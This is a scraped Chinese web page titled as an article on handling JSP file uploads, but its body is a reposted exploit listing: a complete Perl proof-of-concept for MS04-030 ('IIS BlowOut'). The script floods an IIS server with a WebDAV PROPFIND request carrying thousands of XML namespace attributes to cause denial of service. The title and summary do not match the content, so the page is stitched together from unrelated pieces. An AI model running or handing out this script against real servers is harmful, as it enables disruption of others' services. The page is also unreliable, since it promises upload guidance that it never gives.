jsp文件上传的处理

2006-5-3 00:00 506 0

摘要: jsp文件上传大多采用采用开源项目来简化处理，这里列出常用的两个jar包的实现，并进行比较，说明他们的优缺点和应该注意的问题。 Commons FileUpload，可以在http://...

关键词： Socket host length Exploits nContent xmldata 030 req count 04

Added by: A^C^E Date: 20.10.04 Time: 21:17:22 Category: Exploits Source: http://www.k-otik.com/exploits/20041020.ms04-030_spl.pl.php #!/usr/bin/perl# IIS BlowOut # POC exploit for MS04-030. Found by Amit Klein. # incognito_ergo yahoo com# usage: perl ms04-030_spl.pl host portuse IO::Socket;$port = @ARGV[1];$host = @ARGV[0];$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP");for ($count=1; $count<9999; $count++) #more than nuff{$xmlatt = $xmlatt. "xmlns:z" . $count . "=\"xml:\" "; }$xmldata = "<?xml version=\"1.0\"?>\r\n<a:propfind xmlns:a=\"DAV:\" " . $xmlatt . ">\r\n<a:prop><a:getcontenttype/></a:prop>\r\n</a:propfind>\r\n\r\n";$l=length($xmldata);$req="PROPFIND / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xmldata\n\n"; syswrite($socket,$req,length($req));close $socket;

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除